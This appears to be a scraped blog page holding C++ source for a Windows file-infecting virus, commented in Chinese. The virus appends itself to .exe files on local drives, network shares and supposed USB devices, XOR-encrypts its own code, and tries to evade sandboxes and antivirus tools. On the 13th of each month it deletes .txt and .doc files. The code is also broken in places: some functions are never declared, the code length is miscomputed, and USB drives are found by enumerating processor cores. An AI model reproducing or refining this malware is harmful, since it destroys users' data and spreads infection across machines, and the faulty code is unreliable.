#include <windows.h>
#include <fstream>
#include <vector>
#include <string>
#include <ctime>
using namespace std;
// 全局变量:病毒签名和加密密钥
const char* VIRUS_SIGNATURE = "REBEL_VIRUS";
const char ENCRYPTION_KEY = 0x42; // 任意选择的加密密钥
// 函数声明
bool IsInfected(const char* filePath);
void InfectFile(const char* filePath);
void ExecutePayload();
void EncryptVirus(char* code, size_t length, char key);
void DecryptVirus(char* code, size_t length, char key);
void InfectNetworkShares();
void InfectUSBDevices();
// 主函数:病毒入口点
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// 解密病毒代码
char* code = (char*)hInstance;
size_t codeLength = (size_t)hInstance + 0x1000; // 假设代码段大小为 4KB
DecryptVirus(code, codeLength, ENCRYPTION_KEY);
// 检查是否在沙箱环境中运行
if (IsSandboxEnvironment()) {
return 0;
}
// 感染本地文件
InfectLocalFiles();
// 感染网络共享
InfectNetworkShares();
// 感染 USB 设备
InfectUSBDevices();
// 检查触发条件并执行 payload
if (CheckTriggerCondition()) {
ExecutePayload();
}
// 加密病毒代码以避免检测
EncryptVirus(code, codeLength, ENCRYPTION_KEY);
return 0;
}
// 检查文件是否已被感染
bool IsInfected(const char* filePath) {
HANDLE hFile = CreateFileA(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return false;
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize < 100) {
CloseHandle(hFile);
return false;
}
char buffer[100];
ReadFile(hFile, buffer, 100, &fileSize, NULL);
CloseHandle(hFile);
// 检查病毒签名
return strstr(buffer, VIRUS_SIGNATURE) != NULL;
}
// 感染文件
void InfectFile(const char* filePath) {
if (IsInfected(filePath)) return;
// 读取病毒代码
ifstream virusFile("virus.exe", ios::binary);
vector<char> virusCode((istreambuf_iterator<char>(virusFile)), istreambuf_iterator<char>());
virusFile.close();
// 将病毒代码附加到目标文件
ofstream targetFile(filePath, ios::app | ios::binary);
targetFile.write(virusCode.data(), virusCode.size());
targetFile.close();
// 添加病毒签名到文件头部
HANDLE hFile = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
WriteFile(hFile, VIRUS_SIGNATURE, strlen(VIRUS_SIGNATURE), NULL, NULL);
CloseHandle(hFile);
}
// 感染本地文件
void InfectLocalFiles() {
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFile("C:\\*.exe", &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
string filePath = "C:\\" + string(findData.cFileName);
InfectFile(filePath.c_str());
}
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}
}
// 感染网络共享
void InfectNetworkShares() {
NETRESOURCE nr;
nr.dwScope = RESOURCE_GLOBALNET;
nr.dwType = RESOURCETYPE_ANY;
nr.dwDisplayType = 0;
nr.dwUsage = 0;
nr.lpLocalName = NULL;
nr.lpRemoteName = NULL;
nr.lpComment = NULL;
nr.lpProvider = NULL;
DWORD dwResult = 0;
DWORD dwEnum = 0;
HANDLE hEnum;
dwResult = WNetOpenEnumA(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, &nr, &hEnum);
if (dwResult == NO_ERROR) {
do {
dwResult = WNetEnumResourceA(hEnum, &dwEnum, &nr, NULL);
if (dwResult == NO_ERROR && nr.dwType == RESOURCETYPE_DISK) {
string networkPath = nr.lpRemoteName;
networkPath += "\\*.exe";
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFile(networkPath.c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
string filePath = networkPath;
filePath = filePath.substr(0, filePath.find("\\*.exe")) + "\\" + findData.cFileName;
InfectFile(filePath.c_str());
}
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}
}
} while (dwEnum < 10); // 限制扫描的网络资源数量
WNetCloseEnum(hEnum);
}
}
// 感染 USB 设备
void InfectUSBDevices() {
SYSTEM_LOGICAL_PROCESSOR_INFORMATION* sysInfo;
DWORD bufferSize = 0;
GetLogicalProcessorInformation(sysInfo, &bufferSize);
sysInfo = (SYSTEM_LOGICAL_PROCESSOR_INFORMATION*)malloc(bufferSize);
GetLogicalProcessorInformation(sysInfo, &bufferSize);
for (int i = 0; i < bufferSize / sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); i++) {
if (sysInfo[i].Relationship == RelationProcessorCore) {
string usbPath = "\\\\.\\PhysicalDrive";
usbPath += to_string(i);
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFile((usbPath + "\\*.exe").c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
string filePath = usbPath + "\\" + findData.cFileName;
InfectFile(filePath.c_str());
}
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}
}
}
free(sysInfo);
}
// 执行 payload:删除所有 .txt 和 .doc 文件
void ExecutePayload() {
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFile("C:\\*.txt", &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
DeleteFileA(findData.cFileName);
}
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}
hFind = FindFirstFile("C:\\*.doc", &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
DeleteFileA(findData.cFileName);
}
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}
}
// 检查触发条件
bool CheckTriggerCondition() {
SYSTEMTIME st;
GetLocalTime(&st);
// 在每个月的 13 号执行 payload
return st.wDay == 13;
}
// 检查是否在沙箱环境中运行
bool IsSandboxEnvironment() {
// 检查常见的沙箱特征
if (GetEnvironmentVariableA("PROGRAMW6432", NULL, 0) == 0) return true;
if (GetEnvironmentVariableA("TEMP", NULL, 0) > 1024) return true;
if (GetEnvironmentVariableA("USERDOMAIN", NULL, 0) < 5) return true;
if (GetEnvironmentVariableA("USERNAME", NULL, 0) < 5) return true;
if (GetEnvironmentVariableA("WINDIR", NULL, 0) < 10) return true;
// 检查常见的虚拟机特征
if (GetSystemMetrics(SM_DEBUG) != 0) return true;
if (GetSystemMetrics(SM_CLEANBOOT) != 0) return true;
if (GetSystemMetrics(SM_CXVIRTUALSCREEN) < 1024) return true;
if (GetSystemMetrics(SM_CYVIRTUALSCREEN) < 768) return true;
// 检查常见的杀毒软件
if (FileExists("C:\\Program Files\\AVG\\avgtray.exe")) return true;
if (FileExists("C:\\Program Files\\Norton\\norton.exe")) return true;
if (FileExists("C:\\Program Files\\McAfee\\mcafee.exe")) return true;
return false;
}
// 加密病毒代码
void EncryptVirus(char* code, size_t length, char key) {
for (size_t i = 0; i < length; i++) {
code[i] ^= key;
}
}
// 解密病毒代码
void DecryptVirus(char* code, size_t length, char key) {
EncryptVirus(code, length, key); // XOR 再次加密即为解密
}
// 检查文件是否存在
bool FileExists(const char* filePath) {
DWORD dwAttrib = GetFileAttributesA(filePath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES);
}
1万+

被折叠的 条评论
为什么被折叠?



